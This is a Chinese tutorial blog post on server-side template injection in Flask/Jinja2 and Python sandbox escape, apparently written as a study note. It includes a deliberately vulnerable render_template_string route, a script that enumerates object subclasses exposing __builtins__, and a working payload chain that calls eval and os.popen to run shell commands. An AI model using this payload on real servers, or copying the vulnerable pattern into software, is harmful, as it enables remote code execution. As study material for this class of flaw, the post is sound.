SSTI 服务端模板注入 / 沙盒逃逸

这个部分之前一直只会生搬硬套,其实到底是什么回事都不太清楚,这次查了很多资料,尽可能把这部分内容详细整理一下。
暂不完善,后续会逐步补充内容。

0x00 原理

SSTI即服务端模板注入,大致可以理解为:模板在渲染页面时,没有对用户输入进行合适的处理,导致一部分恶意输入被渲染引擎当作程序的一部分,从而改变了程序原本的运行逻辑。

flask模板注入原理

以flask模块为例,现有以下代码:

import flask

app = flask.Flask(__name__)

@app.route('/')
def func():
    return '

test

'
if __name__ == '__main__': app.run(debug=True)

在控制台运行以后,访问127.0.0.1:5000(默认端口5000),页面如下:
SSTI 服务端模板注入 / 沙盒逃逸_第1张图片
其实这就是flask搭建起来的最简单的页面。代码中的'

test

'会被当作HTML文本解析。
除了输出固定内容,flask当然也支持输入输出的交互,而模板注入的安全问题也就出在这里。
比如有如下代码,可以实现get方式输入:

@app.route('/test')
def test():
    ipt = flask.request.args.get('input')
    html = ' %s  ' % ipt
    return flask.render_template_string(html)

访问URLhttp://127.0.0.1:5000/test?input=test
SSTI 服务端模板注入 / 沙盒逃逸_第2张图片
发现输出了输入的内容。
这里不得不提到flask模块的两种渲染方法:

渲染方式 描述
render_template 渲染指定文件内容
render_template_string 渲染一个字符串

至于渲染方法,以第二个函数为例,来看一个最简单的例子:

@app.route('/test')
def test():
    html = '{{12*12}}'
    return flask.render_template_string(html)

页面输出为:
SSTI 服务端模板注入 / 沙盒逃逸_第3张图片
发现{{ --- }}其中的语句被执行了。
这是因为在flask中,渲染引擎(Jinja2)会将{{ --- }}视为变量标识符,会将其包含的内容作为变量处理,从而包裹的语句被执行。
那么,在上一段代码中,如果我们传入的参数内容为{{ --- }}包裹的代码,这些代码就会被执行。
这就是一个最简单的SSTI漏洞。

沙盒逃逸原理

在上述例子中,虽然已经可以实现任意代码执行,但由于模板本身的沙盒安全机制,某些语句虽然可以执行,却不会执行成功。
比如:
SSTI 服务端模板注入 / 沙盒逃逸_第4张图片
即使在服务器端将os包含进来,但是在渲染时仍然会出现这个错误,这就是因为沙盒机制严格地限制了程序的行为。
跳脱这些限制也就是沙盒逃逸
至于沙盒逃逸的原理,需要引入一些关于python面向对象部分的知识来解释。

内建方法

python提供了很多在任意模块中都可以使用的函数,这些函数称为内建方法。在模块__builtins__中,存放着这些内建方法。
构建代码:

print(__builtins__.len('123'))
print(len('123'))

运行,输出均为3
所以,只要找到__builtins__的路径,即可使用所有内建方法。

常用的魔术方法

魔术方法本身是不需要主动调用的,但在沙盒逃逸中,必须手动使用很多内建魔术方法来达到目的。

方法 描述
__class__ 返回对象所属的类
__init__ 类的初始化方法
__bases__/__mro__ 返回该类型的所有父类
__subclasses__ 返回继承该类的所有可用子类
__globals__ 返回当前位置所有可用的全部全局变量的字典引用
继承

在python中的一切都是对象,而这些对象所属的类往往存在各种继承关系。沙盒逃逸借助的主要是各个类之间的继承关系。在python中,所有的新式类都是由基类object派生而来。因此,我们可以从任何一个数据回溯到基类object中,再找到object所派生出的任何类,从而实现这些类的方法。

根据上文介绍的这些内容,沙盒逃逸的原理可以这样描述:

变量对象
找到所属类型
回溯基类
寻找可利用子类
获取全局变量

0x01 引擎判断

服务端使用的各种引擎支持的语法是不同的,所以在找到SSTI注入点之后,首先应当判断模板所使用的渲染引擎。
通常可以使用以下payload来简单测试:
SSTI 服务端模板注入 / 沙盒逃逸_第5张图片
其中绿色为执行成功,红色为执行失败。另:{{7*'7'}}在Twig中返回49,在Jinja2中返回77777777。
(图源 侵删)

0x02 利用方法

python3

python2和python3的利用方式是不一样的,因为两者环境差异可以说是十分巨大。
鉴于网上搜到的大部分是在python2环境,这里把python3中常用的利用方式说一下。
在python2中,沙盒逃逸常用的一些利用方式是从file等类型入手,然后进行下一步操作。但在python3中,主要是通过对__builtins__eval() open() __import__()等函数的利用来达成目的。
贴一个简易脚本,这个脚本用于查找object哪些子类含有__builtins__

num = 0
for item in ''.__class__.__mro__[-1].__subclasses__():
    try:
        if '__builtins__' in item.__init__.__globals__.keys():
            print("+",num,item)
        num += 1
    except:
        num += 1

这里跑出来的结果如下:

+ 75 <class '_frozen_importlib._ModuleLock'>
+ 76 <class '_frozen_importlib._DummyModuleLock'>
+ 77 <class '_frozen_importlib._ModuleLockManager'>
+ 78 <class '_frozen_importlib._installed_safely'>
+ 79 <class '_frozen_importlib.ModuleSpec'>
+ 91 <class '_frozen_importlib_external.FileLoader'>
+ 92 <class '_frozen_importlib_external._NamespacePath'>
+ 93 <class '_frozen_importlib_external._NamespaceLoader'>
+ 95 <class '_frozen_importlib_external.FileFinder'>
+ 103 <class 'codecs.IncrementalEncoder'>
+ 104 <class 'codecs.IncrementalDecoder'>
+ 105 <class 'codecs.StreamReaderWriter'>
+ 106 <class 'codecs.StreamRecoder'>
+ 128 <class 'os._wrap_close'>
+ 129 <class '_sitebuiltins.Quitter'>
+ 130 <class '_sitebuiltins._Printer'>

随机找一个测试一下跑出来的是否有效:

print(''.__class__.__mro__[-1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("dir").read()'))

控制台输出如下:
SSTI 服务端模板注入 / 沙盒逃逸_第6张图片
成功执行控制台命令。
找到__builtins__之后,操作姿势就很开放了,实战中,可能需要更复杂,更隐晦的调用方式,这里就先不再多说了。

(本文为个人整理,如有错误欢迎指正。)

你可能感兴趣的:(Web安全)